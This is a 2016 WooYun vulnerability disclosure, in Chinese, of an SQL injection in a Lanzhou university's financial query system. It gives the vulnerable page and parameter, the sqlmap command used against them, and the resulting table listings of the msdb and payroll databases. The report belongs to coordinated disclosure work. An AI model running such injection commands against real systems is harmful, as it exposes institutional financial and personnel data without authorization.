漏洞概要 关注数(24) 关注此漏洞
缺陷编号：wooyun-2016-0168579
漏洞标题：兰州商学院财务信息查询系统存在sql注入
相关厂商：兰州商学院
漏洞作者： 路人甲
提交时间：2016-01-11 23:31
修复时间：2016-02-22 16:48
公开时间：2016-02-22 16:48
漏洞类型：SQL注射漏洞
危害等级：中
自评Rank：5
漏洞状态：已交由第三方合作机构(CCERT教育网应急响应组)处理
漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签： 无
漏洞详情
披露状态：
2016-01-11： 细节已通知厂商并且等待厂商处理中
2016-01-12： 厂商已经确认，细节仅向厂商公开
2016-01-22： 细节向核心白帽子及相关领域专家公开
2016-02-01： 细节向普通白帽子公开
2016-02-11： 细节向实习白帽子公开
2016-02-22： 细节向公众公开
简要描述：
详细说明：
SQL注入点：**.**.**.**/content.aspx?lb=tz
sqlmap.py -u “**.**.**.**/content.aspx?lb=tz” --tables
这个表估计有一百多个吧，一时半会跑不玩。
查看了用户权限
漏洞证明：
back-end DBMS: Microsoft SQL Server 2008
Database: msdb
[136 tables]
+-----------------------------------------------------+
| MSdatatype_mappings |
| MSdbms |
| MSdbms_datatype |
| MSdbms_datatype_mapping |
| MSdbms_map |
| backupfile |
| backupfilegroup |
| backupmediafamily |
| backupmediaset |
| backupset |
| log_shipping_monitor_alert |
| log_shipping_monitor_error_detail |
| log_shipping_monitor_history_detail |
| log_shipping_monitor_primary |
| log_shipping_monitor_secondary |
| log_shipping_primaries |
| log_shipping_primary_databases |
| log_shipping_primary_secondaries |
| log_shipping_secondaries |
| log_shipping_secondary |
| log_shipping_secondary_databases |
| logmarkhistory |
| restorefile |
| restorefilegroup |
| restorehistory |
| sqlagent_info |
| suspect_pages |
| sysalerts |
| syscachedcredentials |
| syscategories |
| syscollector_blobs_internal |
| syscollector_collection_items |
| syscollector_collection_items_internal |
| syscollector_collection_sets |
| syscollector_collection_sets_internal |
| syscollector_collector_types |
| syscollector_collector_types_internal |
| syscollector_config_store |
| syscollector_config_store_internal |
| syscollector_execution_log |
| syscollector_execution_log_full |
| syscollector_execution_log_internal |
| syscollector_execution_stats |
| syscollector_execution_stats_internal |
| syscollector_tsql_query_collector |
| sysdatatypemappings |
| sysdbmaintplan_databases |
| sysdbmaintplan_history |
| sysdbmaintplan_jobs |
| sysdbmaintplans |
| sysdownloadlist |
| sysdtscategories |
| sysdtspackagelog |
| sysdtspackages |
| sysdtssteplog |
| sysdtstasklog |
| sysjobactivity |
| sysjobhistory |
| sysjobs |
| sysjobs_view |
| sysjobschedules |
| sysjobservers |
| sysjobsteps |
| sysjobstepslogs |
| sysmail_account |
| sysmail_allitems |
| sysmail_attachments |
| sysmail_attachments_transfer |
| sysmail_configuration |
| sysmail_event_log |
| sysmail_faileditems |
| sysmail_log |
| sysmail_mailattachments |
| sysmail_mailitems |
| sysmail_principalprofile |
| sysmail_profile |
| sysmail_profileaccount |
| sysmail_query_transfer |
| sysmail_send_retries |
| sysmail_sentitems |
| sysmail_server |
| sysmail_servertype |
| sysmail_unsentitems |
| sysmaintplan_log |
| sysmaintplan_logdetail |
| sysmaintplan_plans |
| sysmaintplan_subplans |
| sysmanagement_shared_registered_servers |
| sysmanagement_shared_registered_servers_internal |
| sysmanagement_shared_server_groups |
| sysmanagement_shared_server_groups_internal |
| sysnotifications |
| sysoperators |
| sysoriginatingservers |
| sysoriginatingservers_view |
| syspolicy_conditions |
| syspolicy_conditions_internal |
| syspolicy_configuration |
| syspolicy_configuration_internal |
| syspolicy_execution_internal |
| syspolicy_facet_events |
| syspolicy_management_facets |
| syspolicy_object_sets |
| syspolicy_object_sets_internal |
| syspolicy_policies |
| syspolicy_policies_internal |
| syspolicy_policy_categories |
| syspolicy_policy_categories_internal |
| syspolicy_policy_category_subscriptions |
| syspolicy_policy_category_subscriptions_internal |
| syspolicy_policy_execution_history |
| syspolicy_policy_execution_history_details |
| syspolicy_policy_execution_history_details_internal |
| syspolicy_policy_execution_history_internal |
| syspolicy_system_health_state |
| syspolicy_system_health_state_internal |
| syspolicy_target_set_levels |
| syspolicy_target_set_levels_internal |
| syspolicy_target_sets |
| syspolicy_target_sets_internal |
| sysproxies |
| sysproxylogin |
| sysproxyloginsubsystem_view |
| sysproxysubsystem |
| sysschedules |
| sysschedules_localserver_view |
| syssessions |
| sysssislog |
| sysssispackagefolders |
| sysssispackages |
| syssubsystems |
| systargetservergroupmembers |
| systargetservergroups |
| systargetservers |
| systargetservers_view |
| systaskids |
+-----------------------------------------------------+
back-end DBMS: Microsoft SQL Server 2008
Database: gz
[103 tables]
+----------------+
| GZ_FFCS |
| LSHBSH |
| PGJDM |
| PQUERY |
| PQUERY_FIELD |
| PQUERY_TJ |
| PXTCS |
| PZKDM |
| PZTDM |
| PZWDM |
| PZYDM |
| PZZLXDM |
| dtproperties |
| fdjbsx |
| fdjs |
| gz_bbgddy |
| gz_bbzddy |
| gz_export |
| gz_export_lm |
| gz_fabm |
| gz_fadm |
| gz_farylb |
| gz_ffbz |
| gz_ffpc |
| gz_ffpcbz |
| gz_gjjyeb |
| gz_import |
| gz_import_lm |
| gz_jsgs |
| gz_kfazdybb |
| gz_kfazdybb_hz |
| gz_kfazdybb_lm |
| gz_kmzd |
| gz_log |
| gz_log_czdz |
| gz_lwslb |
| gz_pzdy |
| gz_query |
| gz_sjcsb |
| gz_sjcsmxb |
| gz_slb |
| gz_xfbm |
| gz_xflb |
| gz_xmdm |
| gz_xmzd |
| gz_ysgs |
| gz_zddy |
| gz_zdybb |
| gz_zdybb_mx |
| gzb_01 |
| gzb_02 |
| gzffb_01 |
| gzffb_02 |
| gzgdsj_01 |
| gzgdsj_02 |
| pbddm |
| pbmdm |
| pbmdm_sx |
| pbmsxdm |
| pbtxm |
| pdatabackup |
| pgndm |
| pgwdm |
| phtxzdm |
| phydm |
| pj_pjlxb |
| pjgsdy |
| pjgszd |
| pmzdm |
| ppcdm |
| pqxdm |
| pqxzdm |
| prylxdm |
| ptablename |
| pwydm |
| pwyspdm |
| pxldm |
| pyhdm |
| pyhsszdm |
| pyhzdm |
| pzcdm |
| pzdb |
| pzzmmdm |
| queryall |
| rydaxx |
| rydaxxcd |
| rydd_history |
| rydyxx |
| ryhtxx |
| ryhtxxcd |
| ryjbxx |
| ryjbxx_bak |
| ryjbxxcd |
| setprint |
| translation |
| v_ltxx |
| v_ryjbxx |
| v_ryxx |
| yh_btk |
| yh_mxk |
| zwbmzd |
| zwpzb |
| zwpzfl |
+----------------+
修复方案：
版权声明：转载请注明来源 路人甲@乌云
漏洞回应
厂商回应：
危害等级：中
漏洞Rank：6
确认时间：2016-01-12 12:33
厂商回复：
通知处理中
最新状态：
暂无